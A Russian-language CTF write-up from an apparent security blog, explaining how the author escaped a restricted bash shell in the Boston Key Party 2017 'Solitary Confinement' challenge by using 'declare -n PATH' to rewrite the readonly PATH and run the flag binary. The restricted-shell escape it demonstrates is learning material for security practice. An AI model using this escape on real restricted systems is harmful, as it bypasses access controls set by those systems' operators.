Технологии безопасности

Сайт посвященный вопросам безопасности

Что делать если вас заперли в rbash

Совсем недавно проходил очередной интересный CTF Boston Key Party 2017. Который мы к сожалению не выиграли, но это другая история. А сегодня я бы хотел описать решение одного задания из раздела pwn это «Solitary Confinement (pwn 99)».

Осуществив подключение по SSH мы сразу попадаем в rbash.

Осмотревшись, становится понятно, что доступных для исполнения файлов, через которые можно было бы выйти в нормальный шел, у нас нет:

rbash-4.3$ [tab]
! ]] builtin compgen declare echo eval fc getopts in logout pwd readonly shopt time typeset until
alias caller complete dirs elif exec fg hash jobs mapfile return source times ulimit wait
: bg case compopt disown else exit fi help kill popd rbash select suspend trap umask while
[ bind cd continue do enable export for history let printf read set test true unalias {
[[ break command coproc done esac false function if local pushd readarray shift then type unset }

Далее осмотревшись в системе:

-rbash-4.3$ pwd
/

Понимаем что мы находимся в корневой директории! Первая мысль — Это здорово! Однако смотрим дальше:

-rbash-4.3$ echo ./*
bin dev flag lib lib64
-rbash-4.3$ echo ./bin/*
rbash
-rbash-4.3$ echo ./flag/*
showFlag

Ну по крайней мере знаем где лежит флаг. Но и тут не всё так просто, просмотрев атрибуты файла:

-rbash-4.3$ if [[ -r flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -x flag/showFlag ]]; then echo ok; fi
ok
-rbash-4.3$ if [[ -G flag/showFlag ]]; then echo ok; fi
-rbash-4.3$ if [[ -O flag/showFlag ]]; then echo ok; fi

Понимаем, что это бинарник, так ещё и не принадлежит нам. Так как использовать / для исполнения команд запрещено, так же как и изменять использовать cd. То нужно было придумать как изменить переменную PATH.

rbash-4.3$ unset -v PATH
rbash: unset: PATH: cannot unset: readonly variable

Изменять переменные окружения можно следующим образом:

set PATH=deadbeef
typeset PATH=deadbeef
export PATH=deadbeef
PATH=deadbeef
declare PATH=deadbeef

После внимательного изучения документации к каждой команде, можно наткнуться на вот такой интересный фрагмент:

declare: declare [-aAfFgilnrtux] [-p] [name[=value] …]
Set variable values and attributes.

-n make NAME a reference to the variable named by its value

Хм, раз нельзя изменить переменную напрямую, попробуем создать ссылку:

rbash-4.3$ declare -n PATH
rbash-4.3$ export PATH=/flag

Ошибок не возникло. Проверим внесенные изменения:

rbash-4.3$ echo $PATH
/flag
rbash-4.3$ showFlag
BKP{vimjail_is_down,_fortunately_we_have_rbash_to_save_the_day}

Флаг у нас. Задание пройдено. При наличии к примеру bash’а, можно было бы его запустить таким же образом.